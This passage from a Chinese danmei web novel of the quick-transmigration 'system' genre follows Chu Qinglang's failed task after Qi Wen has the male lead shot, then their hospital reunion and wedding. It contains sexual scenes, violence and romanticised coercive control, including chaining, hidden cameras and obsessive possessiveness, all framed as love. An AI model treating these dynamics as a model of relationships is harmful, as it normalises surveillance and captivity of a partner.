他伸手撑地,避开祁温的伤口,看着祁温眼中浮现出来的挣扎,第一次主动吻了上去。 “但是先生和我说了,做的很好。” 柔软温热的唇瓣贴上来, 还带着这几天几乎刻入骨髓的香气,和他身上相同的沐浴露的味道。 他尝过,很甜。 无论那里。 祁温愣了一下, 几乎是条件反射的伸出舌, 和他纠缠在一起。 是的, 他说了。 心脏诡异的愉悦起来,他几乎是颤抖着手覆上少年的背。 拼命遏制着想要笑的冲动, 眼眶发热, 祁温从喉咙里面挤出不成调的呼唤。 “小乖,小乖。” 只有要拆下整间屋子,才会被允许打开窗户。 他的小乖防备心太强了。 他终于,终于还是撬开了。 受伤装可怜,然后摊开所有情绪这招, 看起来真的有用。 昏暗中,呼吸声越发沉重。 冰冷的手指抚摸着肌肤,将理智湮没。 血腥气传来,楚青琅猛地回身挡住祁温,看着他发亮的眼眸,有些磕巴道:“你的伤” 祁温将他的手按在地下,手背蹦起青筋,咬着他的耳朵喘息道: “让我死在你身上。” 那倒也没这个必要。 楚青琅感受着男人兴奋中又带着癫狂的动作,顺从的放软了抵抗。 算了,就当是他说出来的奖励。 * 阳光穿透水泥框架将两人所在的角落照亮。 楚青琅迷茫的侧了侧脸,后脑勺传来柔韧的触感,耳边是悉悉索索的声音。 随即,声音停止,阴影挡在他的脸上,将所有的阳光挡了个干净。 这感觉,好像腿噢。 睁开眼。 修长的手指横在他的脸上,祁温正靠在墙壁上,下颌锋利,眼眶下有着淡淡的青黑色。 他一晚没睡? 外面追杀的人不是他的人吗? 不对,他说了把命令的权力给了女人。 还有危险! 楚青琅猛地翻身坐起,警惕的四处打量着。 察觉倒没有人后,楚青琅紧绷起来的神经才放松下来。 一放松,他就因为唇舌上的胀痛而嘶了一口气。 他捂住嘴,扭头,正好看见男人艰难起身的动作。 在一旁,板结的绑带,凝固的液体混着尘土,肮脏不堪。 楚青琅想起昨天晚上,仿佛被烫到一般移开了视线。 彻底说开后,两人几乎疯狂了一晚上,要不是最后楚青琅死活拒绝,甚至给了他一巴掌才让男人冷静下来。 不然最后可能有人进来了他们还不知道,平白让人大饱眼福。 楚青琅只觉得身上被咬的地方有些发痒。 他上前搀扶着男人,“你安排的人呢?” 越珩处理完女人的事情,也该过来了。 祁温毫不客气的将大半个重量压在他的肩头,痴迷的蹭着楚青琅的发。 “在外面吧。” 冰凉的手指撬开他的唇,夹出舌仔细观察着。 “好像有点肿,回去上点药就好了。” 楚青琅咽了口唾沫,恨恨的咬了下他的骨节。 “还不是你跟个狗一样使劲吸。” 祁温闷笑,震动顺着肩胛骨传到心脏。 “是我不好,回去让你吸回来。” 楚青琅抬脚踩了他一下,松开手,转身就走。 “小乖,我走不动。膝盖磨的疼。” 男人在身后委屈巴巴道,还装模作样的咳嗽了两声。 声音回荡在在这空荡荡的楼房内,又哀怨又造作。 他怎么能这样? 人设崩了吧? 楚青琅瞬间停下了脚步,转身气冲冲的走了过来。 “闭嘴!” 走之前,楚青琅又瞥了一眼那混乱的场面。 想到来上班的工人看见这些会怎么猜测,一股绯色就瞬间顺着耳根蔓延到了脖颈。 祁温心满意足的搂着他,勾唇,无声轻笑。 阳光下,一辆辆警车飞速而来,停在了工地旁的空地上。 越珩打开车门,抬眼就瞧见了走过来的两人。 一直因为担心而高高提起的心忽的放下,他朝他们走去。 距离拉近的的瞬间,他猛地注意到少年身上凌乱不堪的衣服,还有白皙脖颈甚至指尖上的红痕和牙印。 在他熬夜找他们的时候,两人竟然在这里翻云覆雨?! 越珩倏地青了脸。 一旁的警察却猛地抬枪对准了楚青琅。 “放开他!你无路可逃了!” 楚青琅脚步一顿,祁温在他耳边说:“他们好像是把你通缉了。” 越珩走到他们不远处,对着楚青琅开口。 “青琅,别执着了,母亲已经被抓了。放开祁哥,我保你没事。” 祁温嗤笑,“就是他把警察带过来的噢,小乖。” 楚青琅没忍住偏头瞪了祁温一眼。 “还不都是怪你!” 祁温软下声音,“是我的错,我和他们解释。” 楚青琅推了下他,让他站直,自己后退了一步。 就在祁温抬步要过去的时候,脖颈间忽的传来冰凉刺痛的感觉。 少年冷酷的声音在背后响起,超乎预料的发展让他眼皮痉挛了一瞬。 “都给我后退!不然别怪我手抖杀了他!” 说罢,楚青琅又用力用刀尖抵了抵祁温的脖子。 估计待会越珩就要开枪了。 即将完成任务的喜悦让楚青琅差点装酷失败。 越珩看着他们,面上瞬间由放松转为浮夸的愤怒。 “楚青琅!你们的计划已经失败了,你要是敢伤害他,我就…” 楚青琅只看了他一眼,就明白天道发力了。 他很上道的冷笑一声,又用力了一点,刀尖几乎深入祁温的皮肉。 “听不懂人话?我说都给我后退!!” 歇斯底里的声音真的很像走投无路的凶残绑匪。 会不会表演过头了? 楚青琅暗暗咳了下,压粗了声音又说:“他可是你们锡城的支柱!你们的枪最好长点眼!离我远点,不然我一手抖,这人可就没命了!” 话音落下,那些警察互相对视了一眼,耳机里传来命令,他们开始缓缓后退。 越珩铁青着脸,他固执的站在原地,和两人对峙。 “你要什么才能放开祁哥?” 楚青琅将身型全然埋伏在祁温身后,只漏出一双眼,盯着越珩瞧了瞧。 他怎么没有拿枪? 这怎么杀他这个绑匪? 楚青琅皱了下眉,但是事到如今,他只能接着演下去。 “把妈妈带过来!然后给一辆车,加满油!” 越珩下意识的反驳。 “不可能!她已经进去了!” 一旁的退到车后的警察却忽然出声。 “这里的车都加满了油,你可以随便挑一辆!” 楚青琅目光在警车中游弋了一下,指着最边上的一辆。 “我必须要看见妈妈!还有你们都给我退到哪里去!把车钥匙扔过来!” 说完,他还架着男人上前来一步。 鲜血顺着他的手腕流下。 祁温此时狼狈极了,面色惨白,胸口和脖颈上都带上了伤痕。 仿佛下一秒就要不久于人世的模样。 越珩胸膛剧烈的起伏,莫名的恐慌和愤怒充斥他的心田。 他恨不得下一刻就拿枪毙了这个敢伤害祁哥的私生子! 但是心中仿佛有一个声音在喃喃。 不应该是这样的。 不应该是这样的。 不应该是这样的。 越珩被警察拉着去往了楚青琅指定的位置。 额头青筋凸起,他嘶哑着声音说:“我只能放你走,妈妈不会遇到危险,你要是有本事,真的衷心,就自己滚去救她!” 楚青琅瞧着他,冷冷的吐出两个字。 “废物!” 很快,面前的地方就空了下来。 楚青琅挟持着祁温向车子走去。 祁温抬手,覆盖他的手背。 “小乖还在玩绑匪游戏吗?” 他这样说着,带着微不可查的希冀。 “要和我浪迹天涯吗?” 楚青琅咬了下唇侧。 他不是不知道祁温这几天的想法。 讨好,亲吻,时刻交缠的身躯,教他怎么为自己施加痛苦和欢愉,那炙热的眼眸下是遮掩不住的恐惧。 他恐惧他的离开。 纸花,愿望,戒指,泪水。 他用尽了手段,将自己的所有都展现在了他的面前。 只有今天,那如影随形恐惧才勉强离开了男人的眼眸。 但是,现在他却要把男人再次推入深渊。 楚青琅心口闷闷的。 但是,任务完成近在咫尺。 等任务完成了,找到他自己的记忆了,他会向主系统申请去见他的。 到时候他会和他在小世界呆完一世的。 他发誓! 楚青琅这样想着,口中却只是冷漠道:“松开!我和你虚以委蛇不过是为了妈妈,你算什么东西?别自作多情了!” 在他看不见的角度。 男人双眸瞬间变为血红,面色刷白,唇角溢出血液。 祁温收紧手,一字一句道:“骗我?” 楚青琅看了眼面前的车子,又瞥了一眼抢过警察手中枪械的越珩。 并没有回答的欲望,心中只有即将完成任务的紧张。 而且越到即将完成的时刻,他就越来越感到不安。 楚青琅觉得,这可能是因为之前的几个世界而留下了心理阴影。 他一把将男人推开,没有在乎他望来的目光,拉开车门就要上车。 就在这时,枪声猝然响起。 楚青琅刻意放缓了动作,安静的等待着疼痛的到来。 心脏砰砰的跳着,盯着系统面板。 在他期待的视线中,面板上的数字却反常的突然开始飞速上涨。 【剧情偏移度15%——20%——25%——】 为什么会这样?! 楚青琅猛地转身。 在他们出来的地方,未完成的高楼上,一抹反光刺痛了楚青琅的双眼。 狙击手? “扑通!” 重物倒地的声音。 楚青琅不安的望去,只见太阳穴中枪的越珩正安静的躺在地上,溅起的灰尘在空中飞舞。 鲜血顺着透露快速蔓延,很快就积蓄成了一汪血洼。 那黑色的,空洞的双眼直直的向着他望来。 主角死了? 【剧情偏移度30%——40%——50%——】 在他的身旁,祁温正缓缓的放下手,惨白的面上绽出一抹温柔的笑。 他说:“小乖,不能骗人。” 冰冷的手握住他颤抖着的的指尖,将那匕首扔下,又溅起尘埃朵朵。 祁温安抚的用力的将楚青琅搂在怀中。 “没事的,没事的,别害怕。” 【剧情偏移度60%——70%——80%——】 缱绻深情的话语却仿佛电钻一般将他的脑袋生生钻出空隙,然后趁机溜进,烙印在神经上。 “我知道小乖是被逼的,现在没事了,我会把通缉撤下去的,那些人再也不能拿枪对着你了。” “为了活下来,小乖很努力了。” 那双手又挡在了楚青琅的眼前,将所有的鲜血融进黑暗中。 “他经常欺负小乖是不是?我帮你报仇。” “别担心,岳母不会伤心的,她还年轻,还可以生一个。而且有了小乖,她怎么能爱别人呢?” 【剧情偏移度90%——100%——】 【任务失败。】 祁!温! 楚青琅愤怒的扒开眼前的手。 他抬手一拳打过去。 却发现面前的男人早已鲜血淋漓,面容很明显的因为痛苦而微微狰狞。 男人察觉到他的反抗,紧紧的贴着他,将他压在了车旁。 楚青琅嗓音干涩,愤怒并未彻底冲昏头脑,他握着他的手,咬牙切齿。 “你又发什么疯?” “我很快就——”完成任务了啊! 祁温顶着他的头,闭着眼呼吸急促,却尽力的平稳声音。 “小乖记得我和你说的那个控制我的东西吗?” “我可能惹怒他了,现在正在遭受报复呢,很丑是不是。” 不丑,不是。 你在天道的眼皮子底下把人家天命之子杀死了!你不被报复谁会被报复啊? 祁温蹭着他的鼻梁,深深呼吸着吻着他的面颊。 “所以小乖别害怕,现在没人能欺负你了,我也不行,以后你就是祁家家主,就能自由了。” 明明破坏他任务的罪魁祸首就在面前,但是却几乎濒死,楚青琅根本没有办法动手。 楚青琅恶狠狠的咬住他的唇,挤出话来。 “你给我闭嘴!!!” 他当个屁的家主啊? 祁温却只是用手插/进他的发丝,指尖冰凉。 点点湿润滴落面颊,血腥气在两人唇舌间疯狂交缠,浓烈到浸入骨髓。 眼前任务失败的字样长久的悬停。 一辆辆黑车从由远及近的驶过来,停在他们身边。 楚青琅扬起头想要将人推开,却只感觉脖颈刺痛。 尖锐的滴声后,眼前一阵变得昏暗起来。 他被人紧紧搂住,在彻底陷入黑暗前,管家的声音在耳畔响起。 “家主,目标已经铲除。” * 水流的声音。 眼前的黑暗变得稀薄起来,楚青琅仿佛灵魂离体,只浅浅的依居在这具躯壳。 冰凉的指尖划过脖颈,将扣子一个个解开。 上衣,裤子,直到将他扒的干净。 是谁? 楚青琅想要挣扎,但是却没有办法指挥他的身体。 腾空的感觉,随即是温热水流的包裹。 极力压下的咳嗽声,楚青琅敏锐的察觉到有几滴水落在他的胸口。 “抱歉小乖,弄脏你了。 祁温沙哑着嗓音将其抹去。 浓郁的血腥气扑面而来而来,楚青琅回想起当时他露出的痛苦神情,明白他现在依然在承受着天道的惩罚。 有病吧! 这么难受了为什么不去休息? 洗个澡而已,把他撂给管家不就行了? 楚青琅在躯壳里面愤愤握拳。 祁温完全没有察觉到他是清醒的。 除掉了一个碍眼许久的人,还彻底的翻了盘,将他的爱人留了下来,他愉快的简直要飞起来。 而且最后就算被折磨死,他也会带那个女人走。 到时候小乖就会有钱又有闲,还不会受欺负。 而他作为为少年而死的人,也将长久的住在少年的心中。 水流带走少年身上的污浊,随着胸口的起伏,蓄着水洼的锁骨几乎波光粼粼。 少年乖巧的的阖眼,安静的躺在他的怀中。 他应该感到高兴的。 但是想起当时少年隐约有些崩溃的神情,祁温竟然会忍不住怀疑自己是不是做错了。 祁温摸着少年脖颈上的牙印,低头吻了上去。 没关系。 如果真的做错了的话,就让小乖拆他的坟泄愤好了。 * 灯光穿过眼皮烙在眼眸上,楚青琅混沌的思绪变得清明起来。 没来得及关闭的系统面板在依然在眼前显示着。 【任务失败。】 【请问考核系统是否选择返回主神空间。】 上面任务失败的四个大字,瞬间激起楚青琅的愤怒。 “祁温你…”这个疯子! 他猛地睁眼,起身掀被的动作顿了下,声音戛然而止。 风从未关的窗户钻来,掀起白色的纱帘,吹过他的面颊。 这里是? 门外一直等待的人仿佛听见了他的声音,推门而入。 穿着西装革履的管家看着他,“夫人,您醒了,这里是医院。” 医院? 祁温怎么了? 他在这一个世界只是一个彻底的普通人,不像魔尊就算死了也能复活,更不像丧尸王那样经过变异,在天道的报复下,他绝对会…… 管家走上来,手中拿着一叠的合同,“夫人,这是财产转让合同,只要您签下,其名下的所有不动产和流动资产等都将转移到您的名下。” 说完,管家递过来一支笔。 “合同已经经过公证,是家主请了最好的律师来拟定的,您可以放心。” 他刚要站起身,却突然发现手腕处传来被束缚的感觉。 扭头看去,是一个金色的手环,链接着一条同色的链子嵌入墙壁。 楚青琅被气笑了。 怎么每个世界都来这一招? 有胆子给他上锁链。 怎么没胆子直接给他戴上戒指? 第63章 第 63 章 结婚。番外 楚青琅抬起手将系统面板关闭。 身上的衣服已经换成了干净的衬衣长裤, 周身萦绕着干净清冽的香气。 和两人在那个屋子里面的沐浴露的味道相同。 在动作间,锁链发出哗啦的响声。 楚青琅眉挑起,看着管家道:“他这是什么意思?” 管家咳了一声,“夫人, 家主的意思……意思是您签了这些合同后, 就会给您解开。” 楚青琅冷声道:“给人送钱还怕人拒绝?” 管家默默的礼貌微笑。 楚青琅看着那支笔, 闭了闭眼。 反正现在任务已经失败了, 他就算立马返回主神空间也没有什么用,还不如留下来亲眼看着祁温这个胆大包天的人的结局。 楚青琅下定决心, 伸手直接将那锁链扭断,转头对着装作看不见的管家说:“祁温在哪里?” 管家犹豫着将合同收回,“家主在另一间病房,您随我来。” 楚青琅穿上拖鞋,冷着脸朝着门口走去。 这家医院很明显的是私人医院, 格局和高端酒店相似。 外面的休息区坐着一个穿着红裙的女人,卷发披肩,姿态优雅, 只是周围萦绕着沉郁的气场。 楚青琅目不斜视的从她的身旁走过, 女人看见他就要站起身, 却被身后站着的保镖硬生生按着肩膀重新坐了回去。 挣脱不了肩上的手,女人瞬间没了优雅的姿态, 目光怨恨的朝着他喊。 “楚青琅!为什么死的不是你?!我的小珩都是你害死的, 你还我的小珩!还我的小珩!!我要把你报废……” 直到两人走远,女人的声音依然在耳边回荡。 管家在前面带路,解释道:“您别在意,家主担心您醒来会担心那位,就将她接了过来。” 剥去这个机器人的身份, 楚青琅本来也就不在乎女人,更遑论她的话了。 只是祁温忍着那样的痛还真是有心思安排好这一切。 真是,不怕死! 管家察觉到他不想开口,也就不再说话 在经过一个拐角后,医生明显多了起来,两人停在门口。 一旁守卫的人颇有眼色的推开门,管家停下脚步,恭敬道: “家主的形象可能有些……恐怖,您需要做好心理准备,您进去吧。” * “止不了血……脖颈上的伤口很浅,胸口的伤口也完美的避开了所有的器官和神经……只能暂时输血维持。” “……就像是受到了神的惩罚一样。” “别在这里说!家属……” 格局相同的房间,只是窗户紧闭,开的灯光却格外明亮,甚至于刺眼。 男人躺在那里,架子上挂着一袋袋血包,顺着青色的筋脉输入进这具躯壳,又从五窍流出。 护士站在一旁,不停的拿着毛巾擦拭那流出的鲜血。 脚边放着一大盆水,里面已经被红色完全侵蚀。 楚青琅走过去接过毛巾,护士看了他一眼,连忙后退,转身走出了房间。 咔哒一声,房门被关上,将外面的窃窃私语全部阻隔。 楚青琅看了一会儿。 男人此时狼狈极了,双眼唇边溢出的鲜血将枕边和大半的床铺染红。 面容惨白泛青,乍一看去,仿佛凶杀现场。 莫名的楚青琅有点想笑。 这也算是阻止了他完成任务的代价。 但是唇勾起,又很快的落下。 冷冽的灯光打在他的面上,密长的眼睫在眼下拉出阴影,看不清情绪。 楚青琅用毛巾抵在祁温的脸旁,缓缓的走到一边,将正在输血的针管拔出来。 普通的医疗手段当然查不出祁温的毛病。 就当他要收回手时,仿佛察觉到了他的到来,苍白的手猛地抬起,将他的手腕攥的紧紧的。 楚青琅下意识的抬头。 祁温蹙着眉,被鲜血染红的唇张合,血沫鼓出气泡,啪的破裂。 “别走……求你,小乖……别……” 带着从未在他面前展现出来的恐慌姿态,男人的手用力,指甲几乎嵌入他的手背。 楚青琅伸手,推了下他。 “祁温,睁眼,不然我现在就走” 声音落下,祁温咽喉发出咕噜噜的声音,血一股股的从唇边涌出,眼珠在眼皮底下快速转动,却仿佛魇到一般始终无法睁开眼睛。 楚青琅啧了一声,打开系统面板,给主系统复制了之前发出的一封投诉信,顺便提出了一些要求。 主系统绝对知道男人一直跟着他,但是还是没有告诉他,所以他任务失败,主系统也逃脱不了责任。 既然这样,就先给他安抚好那个小心眼的天道。 不然他绝对会向主神投诉它。 不知道是不是他的威胁起了作用,很快主系统的消息就回了过来。 【主系统:已尽力安抚。】 被拽着手,楚青琅拉过一旁的凳子,坐了下来。 手臂上的衣服很快就被鲜血浸透,楚青琅却没有丝毫反应。 时间一点一点的过去,仿佛天道被主系统安抚好了,男人身上不再流血,一直轻微的呼吸声也开始变得清晰起来。 眼睫被鲜血凝成一簇簇的,颤抖着倒伏在面颊上。 楚青琅看着祁温睁开眼,涣散的瞳孔看起来还没彻底清醒,却在第一时间找到他的位置,转头瞧了过来。 那鲜红充血的眼眸。 多么的熟悉。 “清醒了?” 楚青琅一根一根的掰开他的手指。 “小乖。”祁温叫他,眼中迸出惊喜,“你没走。” 刚把手掰开,男人就坐起身揽着他的肩膀将他带到了床上。 带着血的吻就疯狂的落了下来。 “你没走,你留下来了。” 祁温撩开他的衣服,顺着腰线摸到后背,按着柔韧的皮肉。 像条狗一样舔完他的嘴,又向下啃噬。 楚青琅拿起一旁的毛巾捂住他的脸,翻身将人按在了身下。 毛巾早已被鲜血浸透,盖在脸上完全呼吸不了,很快男人就感到了窒息。 四肢不自觉的抽搐挣扎着,楚青琅强硬的按着他的骨节,将他的反抗全部压下。 祁温很快就虚弱下来,苍白脖颈上喉结不住的滚动,断续的赫赫气流声沉闷的响起。 楚青琅冷眼看着。 直到他攥着他的手腕无力的放下。 他俯下身子,在祁温的耳边轻轻说:“是的,你赢了。” 话音落下的瞬间,楚青琅将毛巾拿起,氧气瞬间随着喉管溢满胸廓,顺着心脏的跳动泵流到全身。 从地狱骤升到天堂的喜悦让祁温本能的痉挛一下。 红眸失焦的震颤着。 楚青琅抬手拍了拍他的脸颊,说:“回神了没?” 祁温张了张嘴,咽喉收紧的肌肉使得他只发出一声气音。 他几近于目眩神迷的看着垂眸望来的少年,眼眶发热。 忽地,他伸手将人一把拽进了怀中。 两人紧紧相拥。 鲜血顺着手背滴落在被子上,晕染成暗红。 * 因为祁温的的身体不再流血,检查也检查不出来什么别的问题。 所以他们很快就回到了温德姆庄园。 浴室中。 缭绕的烟雾影影绰绰的印出两个交叠的身影,金属碰撞的声音格外清脆。 楚青琅垂眸看着俯身的祁温,伸手摸了下那湿答答的发。 他说:“你活不了多久。” 虽然天道的惩罚停了,但是祁温从很早之前就一直在抵抗着天道的控制。 就算是没有后面惩罚的事情,依照他那个身体也活不了多久。 所以在剧情中,白月光被救下后,只坚持了不到一周。 楚青琅选择留下来,也有着这个原因。 如果一直一直,长久的在小世界呆几十年,然后看着男人死去。 很有可能他会被情绪操控,干出什么不理智的事情。 所以,这个时间刚刚好。 既不能让他沉迷于温柔乡,忘记自己的目的,也可以满足这个一直跟过来的人。 没准,这次过后,男人执念消去后,后面的小世界就不会再碰见他了。 楚青琅也就可以完成任务了。 冰冷的身体覆上。 祁温笑着舔去唇边的液体,“那满足我一个愿望好不好?” 楚青琅避开他的吻,看着那红眸,“什么?” 祁温凑到他的耳边,语气柔滑,却并未回答,“现在的我,和他是不是更像了?” 楚青琅沉默了一瞬,他说:“你看见那副画了?” 祁温用指尖点着他的肩胛骨,间或滑动着在少年的身上划出自己的姓名。 “小乖说的是那一副?” 穿着黑袍站在阶梯上的,还是穿着西装朝他张开双臂的? 都是黑发红眸。 小乖的审美好像都一样。 祁温数着他的脊骨,少年的脊骨规整漂亮,最适合带上牙印或者吻痕。 楚青琅哼了一声,“吃醋了?” 哗啦一声,脊背贴上冰凉的瓷砖。 祁温偏头咬着他的后颈,“是啊,很醋。” 明明是他教导少年画画的,但是最先被画出来的,却不是他。 楚青琅说:“喜欢的一直是你,别乱想。” 真不知道男人长这么大,心思怎么还这么曲里拐弯的。 明明教他的时候还游刃有余,无论什么玩具都能面带笑容吃下去,骚话一箩筐的说…… 也不想想他是找替身的人吗? 身后人的动作停滞了一瞬,仿佛被他的这记直球给打蒙了。 “真的吗?”祁温难得磕巴了一下。 他小心的捧着少年的脸,瞳孔紧缩,仿佛盯着猎物一般。 “没有其他人,只是我?” 楚青琅没有搭理他,推开人自顾自的洗了起来。 那种话,他只说一遍,听不清就算了。 祁温纠缠上来:“小乖,再说一次好不好?浴室没有按监视器,我去拿手机,你在说一次,我录下来……” 楚青琅眼皮跳了一下,他咬牙道:“你还在房间里面放监控器了?!” 祁温带着掩饰不住的欣悦,“没有几个,当时小乖对我太冷淡了,我只是看看。” 楚青琅抬手擂了他一拳,声音拉高。 “我进来的时候你就放了?!你个变态!” 祁温顺势抬手握着他的拳头,挤了过去。 “我错了,明天就给他拆下来,别生气了好不好?” 话是这样说,但是他那张被愉悦占满的面孔上没有丝毫后悔的痕迹。 楚青琅捋了一下脸上的水,无奈的叹了口气。 现在就是面前的人说看着他做了一些什么事情他都不会奇怪。 祁温已经非常成功的给他开了眼界。 楚青琅白了他一眼,转身拿过浴衣穿好,走了出去。 脚腕处,纯金打造的锁链牢牢的扣着纤瘦的脚踝。 里面缝着细腻的羊皮绒布,带上去,除了有一些重量之外,不会有丝毫不适的感觉。 楚青琅也不知道明明他都答应留下来了,为什么又带上了这个东西。 他坐在窗前的凳子上,跟着出来的人拿着吹风机为他吹着头发。 指尖轻柔的撩过头皮发丝,温热的风呼呼的吹着,漏出珍珠一般的耳垂。 从后向前看去,从那耳廓到锁骨,满是红痕。 楚青琅喝了口水,他说: “愿望。” 心软的小乖。 祁温心脏几乎软成一滩水。 “我们结婚吧。” 楚青琅放水的动作顿了下,他没有说话,身后的人也没有催促的意思。 很快,他的发就被彻底吹干。 等最后一丝潮意消失,男人放下吹风机,弯腰将少年抱起。 在锁链发出的轻响中,两人一起坐在了椅子上。 外面天空黑沉,但是星星很多。 两人头颅贴在一起,心脏跳动间逐渐重叠。 楚青琅垂眸,看着将他的手拢在一起的苍白大手。 他说:“好。” 感觉不答应的话,男人依然会像个幽灵一样缠着他。 身后的人呼吸瞬间消失不见,就在楚青琅以为人消失的时候。 祁温猛地抱起他在空中转了一圈,然后放下他就开始找翻找东西。 但是找来找去却都没有发现,他脊背弓起,整个人紧绷到极致,呼吸明显急促起来。 楚青琅看着他的背影,笑着说:“找什么?” 祁温说:“戒指。” 看来真的被喜悦冲昏头脑了。 楚青琅慢吞吞道:“戒指不就在你脖子上吗?” 祁温宛如被按了暂停键呆愣在那里,随后他粗暴的拽下脖子间挂着的绳子。 还没有好全的脖颈又流下了鲜血,楚青琅看着他忍不住抚了抚额。 好蠢。 黑色的绳子上赫然挂着一把金色的钥匙还有一个红宝石戒指。 男人转过身,快步走来,腿一软就要跪下。 楚青琅抬脚挡住,在男人不安的目光中,他按了按太阳穴。 “人家婚礼上面才交换戒指的。” “噢对。”祁温握着戒指,站在原地,“是的,小乖说的没错。” 他忽然蹲下,“打我。” 楚青琅还没反应过来,祁温就拿起他的手朝着自己的脸上甩了一巴掌。 “会痛。” 祁温喃喃。 他的瞳孔宛如针尖一般震颤着,加上面旁泛红的指印,更显的神经质。 在楚青琅震惊的目光中,他将整张脸埋进了少年的腰腹,浑身的肌肉不自觉的收缩,肾上腺素快速的分泌着,几乎让他战栗。 瞳孔中的少年如此的真实,笑容,话语,望过来的双眼,还有指尖刮过皮肤的疼痛。 他咬着自己的舌,直到尝到了血腥气。 不是在做梦。 祁温抬头,将戒指重新挂在脖子上,跪在地上又俯下身搂着被他一系列操作弄懵了的少年。 他亲吻楚青琅的脸颊,握着白皙修长的手吻着指尖。 “谢谢,谢谢。” 唇抖着。 他又笑又哭。 * 楚青琅确实没有想到只是答应结个婚而已,怎么会让祁温产生这么大的反应。 两人一起躺在床上的时候,楚青琅还能听见身边的人急促的呼吸声,还有紧紧搂住他的手。 最后,祁温甚至起身拿了一大瓶酒,一口气灌了半瓶。 说是要冷静一下。 可惜的是人并没有冷静下来,反而在酒精的刺激下愈发的兴奋起来。 拽着锁链将他拉到了床边,吻上来将酒渡进了他的唇里,楚青琅踹他,却被攥住了脚踝。 他徒劳的攥着床单,却还是被一波一波的酥麻热度浇软了腰肢。 楚青琅现在突然觉得就算是结婚了,男人没准也会一直跟个鬼一样缠着他。 那天晚上过后,祁温天都没亮就叫过来了管家,列出了许多要求。 等楚青琅醒来过去的时候,都已经有了一小摞了。 看着管家生无可恋的表情,楚青琅同情的瞥了一眼,将水杯放下委婉的提醒他,他们的时间不多,所以能精简就精简。 祁温听完恋恋不舍的划去了一点点,楚青琅看着他的模样,拿起看了看纸上的内容。 【婚礼形式】【婚礼场地】【宾客名单】 这还算是正常的,就是有些繁复奢侈,真照着来感觉全世界都要知道了,楚青琅毫不留情的划掉了大半。 他手一顿,在采购下面的赫然写着蕾丝腿环、口枷,铃铛 楚青琅伸手将那张纸给抽出来撕掉,将剩下的给了安静等待的管家。 管家知趣的转身出去。 门刚关上,楚青琅一拳锤了上去。 “你下面写的什么东西?!” 祁温将他抱到腿上,笑着说:“结婚后要入洞房啊,提前准备。” 楚青琅一下子红了脸,他掐着男人的脸说:“不行!” 祁温遗憾的看了一眼被扔到地上的碎纸。 “好吧,听小乖的。” 反正屋子里也有,这些不过是备用罢了 砰的一声,门被猛地打开。 两人从门口纠缠着来到床上。 楚青琅偏头,发丝落在眉眼带来一阵瘙痒,胸膛不住起伏,密长眼睫轻颤,他愤愤道: “骗子!” 少年少有的穿的这么正式。 量身定制的西装穿上,扭身怒骂时,腰背显出惊心动魄的弧度,绯红顺着眼角蔓延耳边,格外迷人, 长腿弯曲搭在床边,大腿处的布料被撕裂。 浅色蕾丝紧紧束缚,固定着同色丝袜。 苍白修长的手掐上去,挤出软肉。 祁温埋头咬/着大腿根部的痣,闻言直接裹了一口,发出了啵的一声。 “嗯,我是骗子。” * 婚礼的场地定在了在圣菲斯教堂。 邀请的人很少,毕竟两人都没有了亲友,因此只邀请了越家还有一些交好的家族。 祁温先前一直是隐居的状态,这次突然通知结婚,结婚的对象还是个男人,确实在上流社会引起了不小的轰动,尤其是当他们得知这个男人是越家的,不少人去越家打听消息。 但是越家早被祁温渗透了,并没有人敢随便说话。 阳光穿透教堂挑高的穹顶,彩绘的神像天使瑰丽非凡。 门紧紧的闭着。 楚青琅和祁温一起伸手,将门缓缓推开。 他第一次结婚,确实有些紧张,就算是提前看了婚礼的流程,还是懵头懵脑的,只知道紧紧的握着祁温的手。 祁温侧头,温柔的刮了一下他的侧脸。 “跟着我走。” 成列的座椅列在两边,两人在音乐的伴奏下,一步一步的走到了圣像下。 神父正站在宣誓台上,手按着圣经,慈爱的凝望着两人。 “亲爱的诸位,今日我们聚集在这里,在上帝的面前,我们将……” 神父的声音平和温柔,楚青琅听着,却感觉祁温的掌心开始渗出汗来,两人交握的手冰冷又黏腻。 楚青琅侧头,只看见男人紧绷的下颌,还有不住吞咽的喉结。 说什么跟着他,男人比他更紧张好不好? 楚青琅视线柔和了一瞬。 他轻轻晃了一下手,男人敏锐的回头,他向他做出口型。 “我愿意。” 祁温跟着他说。 “我愿意。” 轮到楚青琅的时候,看着祁温紧张的神情,他这次出了声。 誓词宣读完。 一旁的礼童雀跃的上前,将戒指递给两人。 黑色盒子打开,里面是红丝绒软垫,中间嵌着楚青琅之前看见的那枚戒指。 祁温单膝下跪,仰头望着他,神情格外虔诚。 那双眼眸中的情感浓郁的几乎要滴出来。 这次却不是泪水。 冰凉的戒指缓缓推到指根,红宝石折射出美丽的华彩。 在所有人的注视下,楚青琅有些不自在的蜷了蜷手指。 祁温低头,第一次规矩的轻吻他的指尖,不带丝毫旖旎。 “青琅,我是你的了。” 楚青琅嗯了一声,反手将人捞起,为他也带上了戒指。 在带上的瞬间,祁温紧跟着上前一步将他搂进了怀中。 “你的心跳声好大。” 楚青琅按着他的背,感受到被骨骼围绕的心脏砰砰的跳着。 “青琅,青琅。” 祁温只是轻微的颤抖着,一声声的叫他的名字。 台下所有人的面容在光里模糊不清,楚青琅看着指尖上的光晕。 他说:“我在。” * 只是祁温的双眼彻底变成了红色,每次楚青琅看着那双眸子,都会带着些微的恍惚。 每当这个时候,祁温都会带着他出去。 射箭,骑马,栽种花束,画画。 几乎二十四小时都要和他黏在一起。 仿佛是最后的温存。 马厩里面并不是只有越珩送来的beryl,在祁温身体没有毛病的时候,他也会骑马狂奔。 只是楚青琅看着beryl闪亮的大眼睛,还是选择了它。 祁温牵着缰绳,将马带出来。 他并没有表示反对,毕竟它的主人已经死了,一匹马而已,还能让小乖在意到那里去。 在宽阔的草坪上,祁温上马坐到楚青琅的背后。 身躯贴近的瞬间,仿佛缺块的拼图终于完整了,祁温没忍住发出一声喟叹。 他蹭了蹭楚青琅的发,充沛的阳光洒落,将目之所及的一切的染上了金色。 “就像是在做梦一样。” “什么?” 楚青琅懒洋洋的问了一声。 他放松身体,靠在祁温的怀中,身体随着马的走动一起一伏,并没有听见身后人的呢喃。 祁温在一只手放开缰绳,挑逗的按压着他的腰腹,“要在这里吗?” 楚青琅呼吸滞了一瞬,对他的不要脸感到震惊。 他打下他的手,“别乱动!” 祁温笑了一声,将手中的缰绳交给他,手臂用力将人翻了过来。 两人面对面,呼吸很快混乱起来。 马儿的皮毛骚动着细腻的皮肤,带来一阵痒意。 楚青琅微眯着眼,克制着呼吸,苍白的大手拂过他的脊骨,腰肢反弓成一道紧绷的琴弦。 